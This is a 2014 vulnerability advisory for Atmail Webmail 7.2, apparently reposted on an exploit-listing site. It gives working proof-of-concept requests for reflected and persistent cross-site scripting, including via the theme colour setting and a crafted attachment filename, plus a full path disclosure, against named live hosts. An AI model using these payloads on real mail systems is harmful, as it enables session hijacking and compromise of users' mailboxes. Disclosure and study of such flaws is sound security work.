Atmail Webmail 7.2 - Multiple Vulnerabilities

🗓️ 18 Sep 2014 00:00:00Reported by RootType

Atmail Webmail 7.2 - Multiple Vulnerabilities including XSS, Full Path Disclosure, and Persistent XSS in Theme Color and Forwarding Messages. Login and password sent as plaintext. Exploit available at poczta.pl and demo.atmail.com


                                                #Title: Atmail Webmail =&gt;7.2 - Multiple XSS &amp; FPD
#Date: 01.27.2014
#Vendor: atmail.com
#Version: =&gt;7.2 (Latest ATM), tested also on 7.1.1
#Authors: Smash_ &amp; Brag / smash[at]devilteam.pl
#PoC: poczta.pl / demo.atmail.com
  
1. Cross Site Scripting
  
 a) GET - viewmessageTabNumber
  
Request:
host/mail/index.php/mail/composemessage/index/viewmessageTabNumber/3&quot;&gt;&lt;h1&gt;XSS&lt;!--
  
Injection point (line 16):
&lt;input type=&quot;hidden&quot; name=&quot;tabId&quot; value=&quot;viewmessageTab3&quot;&gt;&lt;h1&gt;XSS&lt;!--
  
PoC:
https://www.poczta.pl/mail/index.php/mail/composemessage/index/viewmessageTabNumber/3&quot;&gt;&lt;h1&gt;XSS&lt;!--
  
 b) POST - filter
  
  
POST /mail/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX.666/resultContext/searchResultsTab1 HTTP/1.1
Host: www.poczta.pl
searchQuery=&amp;goBack=6&amp;from=&amp;to=&amp;subject=&amp;body=&amp;filter=&lt;script&gt;alert(666)&lt;/script&gt;
  
Alert will appear; injection point:
&lt;div id=\&quot;noMessageDisplay\&quot; style=\&quot;margin:10px;\&quot;&gt;\n\t\t\t\tFound no messages matching &lt;script&gt;alert(666) (...)
  
 c) POST - Search Results Tab
  
Request:
POST /mail/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX/resultContext/searchResultsTab1&quot;%20whats=&quot;up&quot;%20bad=&quot; HTTP/1.1
Host: http://www.poczta.pl
  
Injection point:
&lt;input type=\&quot;hidden\&quot; name=\&quot;resultContext\&quot; id=\&quot;resultContext\&quot; value=\&quot;searchResultsTab1\&quot; whats=\&quot;up\&quot; bad=\&quot;\&quot; \/&gt;
  
d) POST - page
  
Request:
POST /mail/index.php/mail/mail/listfoldermessages/selectFolder/INBOX/page/2&quot;%20xss=&quot;true&quot;%20bad=&quot; HTTP/1.1
Host: www.poczta.pl
  
Injection point:
&lt;input type=\&quot;hidden\&quot; name=\&quot;pageNumber\&quot; id=\&quot;pageNumber\&quot; value=\&quot;2\&quot; xss=\&quot;true\&quot; bad=\&quot;\&quot; \/&gt;
  
  
2. Full Path Disclosure
  
Request (GET):
demo.atmail.com/mail/index.php/mail/mail/listfoldermessages/
  
Response:
An error occurred
script 'mail/listfoldermessages.phtml' not found in path (/usr/local/atmail/webmail/application/modules/mail/views/scripts/)
  
3. Persistent XSS - Theme Color
  
Request:
GET /mail/index.php/mail/settings/webmailsave?fields%5BcssColorTheme%5D=purple&quot;%20onload=alert(666)%20bad=&quot;&amp;save=1 HTTP/1.1
Host: www.poczta.pl
  
Now, whenever someone will login alert will appear.
Injection point:
&lt;body class=&quot;leaderboard-ad-off footer-ad-off '&quot;XSS fresh blue&quot; onload=alert(666) bad=&quot;&quot; id=&quot;calon&quot;&gt;
  
4. Persistent XSS - Forward a Message
  
First, compose your message and attach an image. Image name should consist
JS code, for example: &quot;&gt;&lt;img src=x onerror=prompt(1)&gt;.
  
Send message to a victim, whenever someone will 'Forward' the message,
JS will be executed:
  
&lt;a class=\&quot;attach-btn\&quot; href=\&quot;#\&quot; onClick=\&quot;removeAttachment('bobs.\\\&quot;&gt;&lt;img src=x onerror=prompt(1)&gt; (...)
  
P.S - Login and password are sent as plaintext.
                                        ... which is bad.

18 Sep 2014 00:00Current

7.1High risk

Vulners AI Score7.1